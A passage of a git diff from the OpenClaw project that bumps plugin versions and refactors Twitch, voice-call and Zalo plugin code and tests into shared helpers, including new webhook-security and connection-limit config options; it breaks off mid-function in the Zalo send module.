a/extensions/tlon/package.json b/extensions/tlon/package.json index eb88fc7db79..7aa2336b285 100644 --- a/extensions/tlon/package.json +++ b/extensions/tlon/package.json @@ -1,13 +1,12 @@ { "name": "@openclaw/tlon", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Tlon/Urbit channel plugin", "type": "module", "dependencies": { - "@tloncorp/api": "git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87", - "@tloncorp/tlon-skill": "0.1.9", + "@tloncorp/api": "github:tloncorp/api-beta#7eede1c1a756977b09f96aa14a92e2b06318ae87", + "@tloncorp/tlon-skill": "0.2.2", "@urbit/aura": "^3.0.0", - "@urbit/http-api": "^3.0.0", "zod": "^4.3.6" }, "openclaw": { diff --git a/extensions/twitch/CHANGELOG.md b/extensions/twitch/CHANGELOG.md index 34effe0e098..f83dd85a9f0 100644 --- a/extensions/twitch/CHANGELOG.md +++ b/extensions/twitch/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/twitch/package.json b/extensions/twitch/package.json index 59fe5018fff..1dbc4040325 100644 --- a/extensions/twitch/package.json +++ b/extensions/twitch/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/twitch", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Twitch channel plugin", "type": "module", "dependencies": { diff --git a/extensions/twitch/src/access-control.test.ts b/extensions/twitch/src/access-control.test.ts index 83746717e4a..874326c9697 100644 --- a/extensions/twitch/src/access-control.test.ts +++ b/extensions/twitch/src/access-control.test.ts @@ -51,14 +51,10 @@ describe("checkTwitchAccessControl", () => { describe("when no restrictions are configured", () => { it("allows messages that mention the bot (default requireMention)", () => { - const message: TwitchChatMessage = { - ...mockMessage, - message: "@testbot hello", - }; - const result = checkTwitchAccessControl({ - message, - account: mockAccount, - botUsername: "testbot", + const result = runAccessCheck({ + message: { + message: "@testbot hello", + }, }); expect(result.allowed).toBe(true); }); @@ -66,30 +62,20 @@ describe("checkTwitchAccessControl", () => { describe("requireMention default", () => { it("defaults to true when undefined", () => { - const message: TwitchChatMessage = { - ...mockMessage, - message: "hello bot", - }; - - const result = checkTwitchAccessControl({ - message, - account: mockAccount, - botUsername: "testbot", + const result = runAccessCheck({ + message: { + message: "hello bot", + }, }); expect(result.allowed).toBe(false); expect(result.reason).toContain("does not mention the bot"); }); it("allows mention when requireMention is undefined", () => { - const message: TwitchChatMessage = { - ...mockMessage, - message: "@testbot hello", - }; - - const result = checkTwitchAccessControl({ - message, - account: mockAccount, - botUsername: "testbot", + const result = runAccessCheck({ + message: { + message: "@testbot hello", + }, }); expect(result.allowed).toBe(true); }); @@ -97,52 +83,25 @@ describe("checkTwitchAccessControl", () => { describe("requireMention", () => { it("allows messages that mention the bot", () => { - const account: TwitchAccountConfig = { - ...mockAccount, - requireMention: true, - }; - const message: TwitchChatMessage = { - ...mockMessage, - message: "@testbot hello", - }; - - const result = checkTwitchAccessControl({ - message, - account, - botUsername: "testbot", + const result = runAccessCheck({ + account: { requireMention: true }, + message: { message: "@testbot hello" }, }); expect(result.allowed).toBe(true); }); it("blocks messages that don't mention the bot", () => { - const account: TwitchAccountConfig = { - ...mockAccount, - requireMention: true, - }; - - const result = checkTwitchAccessControl({ - message: mockMessage, - account, - botUsername: "testbot", + const result = runAccessCheck({ + account: { requireMention: true }, }); expect(result.allowed).toBe(false); expect(result.reason).toContain("does not mention the bot"); }); it("is case-insensitive for bot username", () => { - const account: TwitchAccountConfig = { - ...mockAccount, - requireMention: true, - }; - const message: TwitchChatMessage = { - ...mockMessage, - message: "@TestBot hello", - }; - - const result = checkTwitchAccessControl({ - message, - account, - botUsername: "testbot", + const result = runAccessCheck({ + account: { requireMention: true }, + message: { message: "@TestBot hello" }, }); expect(result.allowed).toBe(true); }); diff --git a/extensions/twitch/src/status.test.ts b/extensions/twitch/src/status.test.ts index 7aa8b909df3..d0340ec852e 100644 --- a/extensions/twitch/src/status.test.ts +++ b/extensions/twitch/src/status.test.ts @@ -14,17 +14,28 @@ import { describe, expect, it } from "vitest"; import { collectTwitchStatusIssues } from "./status.js"; import type { ChannelAccountSnapshot } from "./types.js"; +function createSnapshot(overrides: Partial = {}): ChannelAccountSnapshot { + return { + accountId: "default", + configured: true, + enabled: true, + running: false, + ...overrides, + }; +} + +function createSimpleTwitchConfig(overrides: Record) { + return { + channels: { + twitch: overrides, + }, + }; +} + describe("status", () => { describe("collectTwitchStatusIssues", () => { it("should detect unconfigured accounts", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: false, - enabled: true, - running: false, - }, - ]; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot({ configured: false })]; const issues = collectTwitchStatusIssues(snapshots); @@ -34,14 +45,7 @@ describe("status", () => { }); it("should detect disabled accounts", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: false, - running: false, - }, - ]; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot({ enabled: false })]; const issues = collectTwitchStatusIssues(snapshots); @@ -51,24 +55,12 @@ describe("status", () => { }); it("should detect missing clientId when account configured (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "oauth:test123", - // clientId missing - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "oauth:test123", + // clientId missing + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -77,24 +69,12 @@ describe("status", () => { }); it("should warn about oauth: prefix in token (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "oauth:test123", // has prefix - clientId: "test-id", - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "oauth:test123", // has prefix + clientId: "test-id", + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -104,26 +84,14 @@ describe("status", () => { }); it("should detect clientSecret without refreshToken (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "oauth:test123", - clientId: "test-id", - clientSecret: "secret123", - // refreshToken missing - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "oauth:test123", + clientId: "test-id", + clientSecret: "secret123", + // refreshToken missing + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -132,25 +100,13 @@ describe("status", () => { }); it("should detect empty allowFrom array (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "test123", - clientId: "test-id", - allowFrom: [], // empty array - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "test123", + clientId: "test-id", + allowFrom: [], // empty array + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -159,26 +115,14 @@ describe("status", () => { }); it("should detect allowedRoles 'all' with allowFrom conflict (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "test123", - clientId: "test-id", - allowedRoles: ["all"], - allowFrom: ["123456"], // conflict! - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "test123", + clientId: "test-id", + allowedRoles: ["all"], + allowFrom: ["123456"], // conflict! + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -189,13 +133,7 @@ describe("status", () => { it("should detect runtime errors", () => { const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - lastError: "Connection timeout", - }, + createSnapshot({ lastError: "Connection timeout" }), ]; const issues = collectTwitchStatusIssues(snapshots); @@ -207,15 +145,11 @@ describe("status", () => { it("should detect accounts that never connected", () => { const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, + createSnapshot({ lastStartAt: undefined, lastInboundAt: undefined, lastOutboundAt: undefined, - }, + }), ]; const issues = collectTwitchStatusIssues(snapshots); @@ -230,13 +164,10 @@ describe("status", () => { const oldDate = Date.now() - 8 * 24 * 60 * 60 * 1000; // 8 days ago const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, + createSnapshot({ running: true, lastStartAt: oldDate, - }, + }), ]; const issues = collectTwitchStatusIssues(snapshots); diff --git a/extensions/voice-call/CHANGELOG.md b/extensions/voice-call/CHANGELOG.md index 79b4cd68294..a91dd5c4d40 100644 --- a/extensions/voice-call/CHANGELOG.md +++ b/extensions/voice-call/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/voice-call/index.ts b/extensions/voice-call/index.ts index c4b543b232a..8e2fba9898f 100644 --- a/extensions/voice-call/index.ts +++ b/extensions/voice-call/index.ts @@ -209,6 +209,23 @@ const voiceCallPlugin = { const rt = await ensureRuntime(); return { rt, callId, message } as const; }; + const initiateCallAndRespond = async (params: { + rt: VoiceCallRuntime; + respond: GatewayRequestHandlerOptions["respond"]; + to: string; + message?: string; + mode?: "notify" | "conversation"; + }) => { + const result = await params.rt.manager.initiateCall(params.to, undefined, { + message: params.message, + mode: params.mode, + }); + if (!result.success) { + params.respond(false, { error: result.error || "initiate failed" }); + return; + } + params.respond(true, { callId: result.callId, initiated: true }); + }; api.registerGatewayMethod( "voicecall.initiate", @@ -230,15 +247,13 @@ const voiceCallPlugin = { } const mode = params?.mode === "notify" || params?.mode === "conversation" ? params.mode : undefined; - const result = await rt.manager.initiateCall(to, undefined, { + await initiateCallAndRespond({ + rt, + respond, + to, message, mode, }); - if (!result.success) { - respond(false, { error: result.error || "initiate failed" }); - return; - } - respond(true, { callId: result.callId, initiated: true }); } catch (err) { sendError(respond, err); } @@ -347,14 +362,12 @@ const voiceCallPlugin = { return; } const rt = await ensureRuntime(); - const result = await rt.manager.initiateCall(to, undefined, { + await initiateCallAndRespond({ + rt, + respond, + to, message: message || undefined, }); - if (!result.success) { - respond(false, { error: result.error || "initiate failed" }); - return; - } - respond(true, { callId: result.callId, initiated: true }); } catch (err) { sendError(respond, err); } diff --git a/extensions/voice-call/openclaw.plugin.json b/extensions/voice-call/openclaw.plugin.json index 04f50218fa6..d9a904c73eb 100644 --- a/extensions/voice-call/openclaw.plugin.json +++ b/extensions/voice-call/openclaw.plugin.json @@ -249,6 +249,10 @@ "type": "integer", "minimum": 1 }, + "staleCallReaperSeconds": { + "type": "integer", + "minimum": 0 + }, "silenceTimeoutMs": { "type": "integer", "minimum": 1 @@ -313,6 +317,27 @@ } } }, + "webhookSecurity": { + "type": "object", + "additionalProperties": false, + "properties": { + "allowedHosts": { + "type": "array", + "items": { + "type": "string" + } + }, + "trustForwardingHeaders": { + "type": "boolean" + }, + "trustedProxyIPs": { + "type": "array", + "items": { + "type": "string" + } + } + } + }, "streaming": { "type": "object", "additionalProperties": false, @@ -341,6 +366,22 @@ }, "streamPath": { "type": "string" + }, + "preStartTimeoutMs": { + "type": "integer", + "minimum": 1 + }, + "maxPendingConnections": { + "type": "integer", + "minimum": 1 + }, + "maxPendingConnectionsPerIp": { + "type": "integer", + "minimum": 1 + }, + "maxConnections": { + "type": "integer", + "minimum": 1 } } }, diff --git a/extensions/voice-call/package.json b/extensions/voice-call/package.json index 468174bb34b..bba0088ae0d 100644 --- a/extensions/voice-call/package.json +++ b/extensions/voice-call/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/voice-call", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw voice-call plugin", "type": "module", "dependencies": { diff --git a/extensions/voice-call/src/config.test.ts b/extensions/voice-call/src/config.test.ts index ba1889edb4f..03cc011fc66 100644 --- a/extensions/voice-call/src/config.test.ts +++ b/extensions/voice-call/src/config.test.ts @@ -1,49 +1,9 @@ import { afterEach, beforeEach, describe, expect, it } from "vitest"; import { validateProviderConfig, resolveVoiceCallConfig, type VoiceCallConfig } from "./config.js"; +import { createVoiceCallBaseConfig } from "./test-fixtures.js"; function createBaseConfig(provider: "telnyx" | "twilio" | "plivo" | "mock"): VoiceCallConfig { - return { - enabled: true, - provider, - fromNumber: "+15550001234", - inboundPolicy: "disabled", - allowFrom: [], - outbound: { defaultMode: "notify", notifyHangupDelaySec: 3 }, - maxDurationSeconds: 300, - staleCallReaperSeconds: 600, - silenceTimeoutMs: 800, - transcriptTimeoutMs: 180000, - ringTimeoutMs: 30000, - maxConcurrentCalls: 1, - serve: { port: 3334, bind: "127.0.0.1", path: "/voice/webhook" }, - tailscale: { mode: "off", path: "/voice/webhook" }, - tunnel: { provider: "none", allowNgrokFreeTierLoopbackBypass: false }, - webhookSecurity: { - allowedHosts: [], - trustForwardingHeaders: false, - trustedProxyIPs: [], - }, - streaming: { - enabled: false, - sttProvider: "openai-realtime", - sttModel: "gpt-4o-transcribe", - silenceDurationMs: 800, - vadThreshold: 0.5, - streamPath: "/voice/stream", - preStartTimeoutMs: 5000, - maxPendingConnections: 32, - maxPendingConnectionsPerIp: 4, - maxConnections: 128, - }, - skipSignatureVerification: false, - stt: { provider: "openai", model: "whisper-1" }, - tts: { - provider: "openai", - openai: { model: "gpt-4o-mini-tts", voice: "coral" }, - }, - responseModel: "openai/gpt-4o-mini", - responseTimeoutMs: 30000, - }; + return createVoiceCallBaseConfig({ provider }); } describe("validateProviderConfig", () => { diff --git a/extensions/voice-call/src/providers/tts-openai.ts b/extensions/voice-call/src/providers/tts-openai.ts index c483d681990..d1c95420392 100644 --- a/extensions/voice-call/src/providers/tts-openai.ts +++ b/extensions/voice-call/src/providers/tts-openai.ts @@ -1,3 +1,5 @@ +import { pcmToMulaw } from "../telephony-audio.js"; + /** * OpenAI TTS Provider * @@ -179,55 +181,6 @@ function clamp16(value: number): number { return Math.max(-32768, Math.min(32767, value)); } -/** - * Convert 16-bit PCM to 8-bit mu-law. - * Standard G.711 mu-law encoding for telephony. - */ -function pcmToMulaw(pcm: Buffer): Buffer { - const samples = pcm.length / 2; - const mulaw = Buffer.alloc(samples); - - for (let i = 0; i < samples; i++) { - const sample = pcm.readInt16LE(i * 2); - mulaw[i] = linearToMulaw(sample); - } - - return mulaw; -} - -/** - * Convert a single 16-bit linear sample to 8-bit mu-law. - * Implements ITU-T G.711 mu-law encoding. - */ -function linearToMulaw(sample: number): number { - const BIAS = 132; - const CLIP = 32635; - - // Get sign bit - const sign = sample < 0 ? 0x80 : 0; - if (sample < 0) { - sample = -sample; - } - - // Clip to prevent overflow - if (sample > CLIP) { - sample = CLIP; - } - - // Add bias and find segment - sample += BIAS; - let exponent = 7; - for (let expMask = 0x4000; (sample & expMask) === 0 && exponent > 0; exponent--, expMask >>= 1) { - // Find the segment (exponent) - } - - // Extract mantissa bits - const mantissa = (sample >> (exponent + 3)) & 0x0f; - - // Combine into mu-law byte (inverted for transmission) - return ~(sign | (exponent << 4) | mantissa) & 0xff; -} - /** * Convert 8-bit mu-law to 16-bit linear PCM. * Useful for decoding incoming audio. diff --git a/extensions/voice-call/src/runtime.test.ts b/extensions/voice-call/src/runtime.test.ts index 26cdbea82cc..dcb8fa2a158 100644 --- a/extensions/voice-call/src/runtime.test.ts +++ b/extensions/voice-call/src/runtime.test.ts @@ -1,6 +1,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { VoiceCallConfig } from "./config.js"; import type { CoreConfig } from "./core-bridge.js"; +import { createVoiceCallBaseConfig } from "./test-fixtures.js"; const mocks = vi.hoisted(() => ({ resolveVoiceCallConfig: vi.fn(), @@ -45,48 +46,7 @@ vi.mock("./webhook/tailscale.js", () => ({ import { createVoiceCallRuntime } from "./runtime.js"; function createBaseConfig(): VoiceCallConfig { - return { - enabled: true, - provider: "mock", - fromNumber: "+15550001234", - inboundPolicy: "disabled", - allowFrom: [], - outbound: { defaultMode: "notify", notifyHangupDelaySec: 3 }, - maxDurationSeconds: 300, - staleCallReaperSeconds: 600, - silenceTimeoutMs: 800, - transcriptTimeoutMs: 180000, - ringTimeoutMs: 30000, - maxConcurrentCalls: 1, - serve: { port: 3334, bind: "127.0.0.1", path: "/voice/webhook" }, - tailscale: { mode: "off", path: "/voice/webhook" }, - tunnel: { provider: "ngrok", allowNgrokFreeTierLoopbackBypass: false }, - webhookSecurity: { - allowedHosts: [], - trustForwardingHeaders: false, - trustedProxyIPs: [], - }, - streaming: { - enabled: false, - sttProvider: "openai-realtime", - sttModel: "gpt-4o-transcribe", - silenceDurationMs: 800, - vadThreshold: 0.5, - streamPath: "/voice/stream", - preStartTimeoutMs: 5000, - maxPendingConnections: 32, - maxPendingConnectionsPerIp: 4, - maxConnections: 128, - }, - skipSignatureVerification: false, - stt: { provider: "openai", model: "whisper-1" }, - tts: { - provider: "openai", - openai: { model: "gpt-4o-mini-tts", voice: "coral" }, - }, - responseModel: "openai/gpt-4o-mini", - responseTimeoutMs: 30000, - }; + return createVoiceCallBaseConfig({ tunnelProvider: "ngrok" }); } describe("createVoiceCallRuntime lifecycle", () => { diff --git a/extensions/voice-call/src/test-fixtures.ts b/extensions/voice-call/src/test-fixtures.ts new file mode 100644 index 00000000000..594aa064ba5 --- /dev/null +++ b/extensions/voice-call/src/test-fixtures.ts @@ -0,0 +1,52 @@ +import type { VoiceCallConfig } from "./config.js"; + +export function createVoiceCallBaseConfig(params?: { + provider?: "telnyx" | "twilio" | "plivo" | "mock"; + tunnelProvider?: "none" | "ngrok"; +}): VoiceCallConfig { + return { + enabled: true, + provider: params?.provider ?? "mock", + fromNumber: "+15550001234", + inboundPolicy: "disabled", + allowFrom: [], + outbound: { defaultMode: "notify", notifyHangupDelaySec: 3 }, + maxDurationSeconds: 300, + staleCallReaperSeconds: 600, + silenceTimeoutMs: 800, + transcriptTimeoutMs: 180000, + ringTimeoutMs: 30000, + maxConcurrentCalls: 1, + serve: { port: 3334, bind: "127.0.0.1", path: "/voice/webhook" }, + tailscale: { mode: "off", path: "/voice/webhook" }, + tunnel: { + provider: params?.tunnelProvider ?? "none", + allowNgrokFreeTierLoopbackBypass: false, + }, + webhookSecurity: { + allowedHosts: [], + trustForwardingHeaders: false, + trustedProxyIPs: [], + }, + streaming: { + enabled: false, + sttProvider: "openai-realtime", + sttModel: "gpt-4o-transcribe", + silenceDurationMs: 800, + vadThreshold: 0.5, + streamPath: "/voice/stream", + preStartTimeoutMs: 5000, + maxPendingConnections: 32, + maxPendingConnectionsPerIp: 4, + maxConnections: 128, + }, + skipSignatureVerification: false, + stt: { provider: "openai", model: "whisper-1" }, + tts: { + provider: "openai", + openai: { model: "gpt-4o-mini-tts", voice: "coral" }, + }, + responseModel: "openai/gpt-4o-mini", + responseTimeoutMs: 30000, + }; +} diff --git a/extensions/whatsapp/package.json b/extensions/whatsapp/package.json index cf35bd51ecf..bbd34a9322e 100644 --- a/extensions/whatsapp/package.json +++ b/extensions/whatsapp/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/whatsapp", - "version": "2026.3.2", + "version": "2026.3.7", "private": true, "description": "OpenClaw WhatsApp channel plugin", "type": "module", diff --git a/extensions/zalo/CHANGELOG.md b/extensions/zalo/CHANGELOG.md index 86acfe1d54e..5b8d7d249cf 100644 --- a/extensions/zalo/CHANGELOG.md +++ b/extensions/zalo/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## 2026.3.7 + +### Changes + +- Version alignment with core OpenClaw release numbers. + +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/zalo/package.json b/extensions/zalo/package.json index 7530ec6842c..24cc10afcf7 100644 --- a/extensions/zalo/package.json +++ b/extensions/zalo/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/zalo", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw Zalo channel plugin", "type": "module", "dependencies": { diff --git a/extensions/zalo/src/channel.ts b/extensions/zalo/src/channel.ts index a3233ce5228..b6a7f7d0486 100644 --- a/extensions/zalo/src/channel.ts +++ b/extensions/zalo/src/channel.ts @@ -6,8 +6,10 @@ import type { } from "openclaw/plugin-sdk/zalo"; import { applyAccountNameToChannelSection, + buildBaseAccountStatusSnapshot, buildChannelConfigSchema, buildTokenChannelStatusSummary, + buildChannelSendResult, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, chunkTextForOutbound, @@ -15,10 +17,13 @@ import { formatPairingApproveHint, migrateBaseNameToDefaultAccount, normalizeAccountId, + isNumericTargetId, PAIRING_APPROVED_MESSAGE, + resolveOutboundMediaUrls, resolveDefaultGroupPolicy, resolveOpenProviderRuntimeGroupPolicy, resolveChannelAccountConfigBasePath, + sendPayloadWithChunkedTextAndMedia, setAccountEnabledInConfigSection, } from "openclaw/plugin-sdk/zalo"; import { @@ -182,13 +187,7 @@ export const zaloPlugin: ChannelPlugin = { messaging: { normalizeTarget: normalizeZaloMessagingTarget, targetResolver: { - looksLikeId: (raw) => { - const trimmed = raw.trim(); - if (!trimmed) { - return false; - } - return /^\d{3,}$/.test(trimmed); - }, + looksLikeId: isNumericTargetId, hint: "", }, }, @@ -303,51 +302,21 @@ export const zaloPlugin: ChannelPlugin = { chunker: chunkTextForOutbound, chunkerMode: "text", textChunkLimit: 2000, - sendPayload: async (ctx) => { - const text = ctx.payload.text ?? ""; - const urls = ctx.payload.mediaUrls?.length - ? ctx.payload.mediaUrls - : ctx.payload.mediaUrl - ? [ctx.payload.mediaUrl] - : []; - if (!text && urls.length === 0) { - return { channel: "zalo", messageId: "" }; - } - if (urls.length > 0) { - let lastResult = await zaloPlugin.outbound!.sendMedia!({ - ...ctx, - text, - mediaUrl: urls[0], - }); - for (let i = 1; i < urls.length; i++) { - lastResult = await zaloPlugin.outbound!.sendMedia!({ - ...ctx, - text: "", - mediaUrl: urls[i], - }); - } - return lastResult; - } - const outbound = zaloPlugin.outbound!; - const limit = outbound.textChunkLimit; - const chunks = limit && outbound.chunker ? outbound.chunker(text, limit) : [text]; - let lastResult: Awaited>>; - for (const chunk of chunks) { - lastResult = await outbound.sendText!({ ...ctx, text: chunk }); - } - return lastResult!; - }, + sendPayload: async (ctx) => + await sendPayloadWithChunkedTextAndMedia({ + ctx, + textChunkLimit: zaloPlugin.outbound!.textChunkLimit, + chunker: zaloPlugin.outbound!.chunker, + sendText: (nextCtx) => zaloPlugin.outbound!.sendText!(nextCtx), + sendMedia: (nextCtx) => zaloPlugin.outbound!.sendMedia!(nextCtx), + emptyResult: { channel: "zalo", messageId: "" }, + }), sendText: async ({ to, text, accountId, cfg }) => { const result = await sendMessageZalo(to, text, { accountId: accountId ?? undefined, cfg: cfg, }); - return { - channel: "zalo", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalo", result); }, sendMedia: async ({ to, text, mediaUrl, accountId, cfg }) => { const result = await sendMessageZalo(to, text, { @@ -355,12 +324,7 @@ export const zaloPlugin: ChannelPlugin = { mediaUrl, cfg: cfg, }); - return { - channel: "zalo", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalo", result); }, }, status: { @@ -377,19 +341,19 @@ export const zaloPlugin: ChannelPlugin = { probeZalo(account.token, timeoutMs, resolveZaloProxyFetch(account.config.proxy)), buildAccountSnapshot: ({ account, runtime }) => { const configured = Boolean(account.token?.trim()); + const base = buildBaseAccountStatusSnapshot({ + account: { + accountId: account.accountId, + name: account.name, + enabled: account.enabled, + configured, + }, + runtime, + }); return { - accountId: account.accountId, - name: account.name, - enabled: account.enabled, - configured, + ...base, tokenSource: account.tokenSource, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, mode: account.config.webhookUrl ? "webhook" : "polling", - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, dmPolicy: account.config.dmPolicy ?? "pairing", }; }, diff --git a/extensions/zalo/src/monitor.webhook.test.ts b/extensions/zalo/src/monitor.webhook.test.ts index 8cdecd0560c..297d8249d3a 100644 --- a/extensions/zalo/src/monitor.webhook.test.ts +++ b/extensions/zalo/src/monitor.webhook.test.ts @@ -94,6 +94,33 @@ function createPairingAuthCore(params?: { storeAllowFrom?: string[]; pairingCrea return { core, readAllowFromStore, upsertPairingRequest }; } +async function postUntilRateLimited(params: { + baseUrl: string; + path: string; + secret: string; + withNonceQuery?: boolean; + attempts?: number; +}): Promise { + const attempts = params.attempts ?? 130; + for (let i = 0; i < attempts; i += 1) { + const url = params.withNonceQuery + ? `${params.baseUrl}${params.path}?nonce=${i}` + : `${params.baseUrl}${params.path}`; + const response = await fetch(url, { + method: "POST", + headers: { + "x-bot-api-secret-token": params.secret, + "content-type": "application/json", + }, + body: "{}", + }); + if (response.status === 429) { + return true; + } + } + return false; +} + describe("handleZaloWebhookRequest", () => { afterEach(() => { clearZaloWebhookSecurityStateForTest(); @@ -239,21 +266,11 @@ describe("handleZaloWebhookRequest", () => { try { await withServer(webhookRequestHandler, async (baseUrl) => { - let saw429 = false; - for (let i = 0; i < 130; i += 1) { - const response = await fetch(`${baseUrl}/hook-rate`, { - method: "POST", - headers: { - "x-bot-api-secret-token": "secret", - "content-type": "application/json", - }, - body: "{}", - }); - if (response.status === 429) { - saw429 = true; - break; - } - } + const saw429 = await postUntilRateLimited({ + baseUrl, + path: "/hook-rate", + secret: "secret", // pragma: allowlist secret + }); expect(saw429).toBe(true); }); @@ -270,7 +287,7 @@ describe("handleZaloWebhookRequest", () => { const response = await fetch(`${baseUrl}/hook-query-status?nonce=${i}`, { method: "POST", headers: { - "x-bot-api-secret-token": "invalid-token", + "x-bot-api-secret-token": "invalid-token", // pragma: allowlist secret "content-type": "application/json", }, body: "{}", @@ -290,21 +307,12 @@ describe("handleZaloWebhookRequest", () => { try { await withServer(webhookRequestHandler, async (baseUrl) => { - let saw429 = false; - for (let i = 0; i < 130; i += 1) { - const response = await fetch(`${baseUrl}/hook-query-rate?nonce=${i}`, { - method: "POST", - headers: { - "x-bot-api-secret-token": "secret", - "content-type": "application/json", - }, - body: "{}", - }); - if (response.status === 429) { - saw429 = true; - break; - } - } + const saw429 = await postUntilRateLimited({ + baseUrl, + path: "/hook-query-rate", + secret: "secret", // pragma: allowlist secret + withNonceQuery: true, + }); expect(saw429).toBe(true); expect(getZaloWebhookRateLimitStateSizeForTest()).toBe(1); diff --git a/extensions/zalo/src/secret-input.ts b/extensions/zalo/src/secret-input.ts index 702548454c3..bf218d1e48b 100644 --- a/extensions/zalo/src/secret-input.ts +++ b/extensions/zalo/src/secret-input.ts @@ -1,19 +1,13 @@ import { + buildSecretInputSchema, hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString, } from "openclaw/plugin-sdk/zalo"; -import { z } from "zod"; -export { hasConfiguredSecretInput, normalizeResolvedSecretInputString, normalizeSecretInputString }; - -export function buildSecretInputSchema() { - return z.union([ - z.string(), - z.object({ - source: z.enum(["env", "file", "exec"]), - provider: z.string().min(1), - id: z.string().min(1), - }), - ]); -} +export { + buildSecretInputSchema, + hasConfiguredSecretInput, + normalizeResolvedSecretInputString, + normalizeSecretInputString, +}; diff --git a/extensions/zalo/src/send.ts b/extensions/zalo/src/send.ts index c58142f8633..44f1549067a 100644 --- a/extensions/zalo/src/send.ts +++ b/extensions/zalo/src/send.ts @@ -40,37 +40,47 @@ function resolveSendContext(options: ZaloSendOptions): { return { token, fetcher: resolveZaloProxyFetch(proxy) }; } +function resolveValidatedSendContext( + chatId: string, + options: ZaloSendOptions, +): { ok: true; chatId: string; token: string; fetcher?: ZaloFetch } | { ok: false; error: string } { + const { token, fetcher } = resolveSendContext(options); + if (!token) { + return { ok: false, error: "No Zalo bot token configured" }; + } + const trimmedChatId = chatId?.trim(); + if (!trimmedChatId) { + return { ok: false, error: "No chat_id provided" }; + } + return { ok: true, chatId: trimmedChatId, token, fetcher }; +} + export async function sendMessageZalo( chatId: string, text: string, options: ZaloSendOptions = {}, ): Promise { - const { token, fetcher } = resolveSendContext(options); - - if (!token) { - return { ok: false, error: "No Zalo bot token configured" }; - } - - if (!chatId?.trim()) { - return { ok: false, error: "No chat_id provided" }; + const context = resolveValidatedSendContext(chatId, options); + if (!context.ok) { + return { ok: false, error: context.error }; } if (options.mediaUrl) { - return sendPhotoZalo(chatId, options.mediaUrl, { + return sendPhotoZalo(context.chatId, options.mediaUrl, { ...options, - token, + token: context.token, caption: text || options.caption, }); } try { const response = await sendMessage( - token, + context.token, { - chat_id: 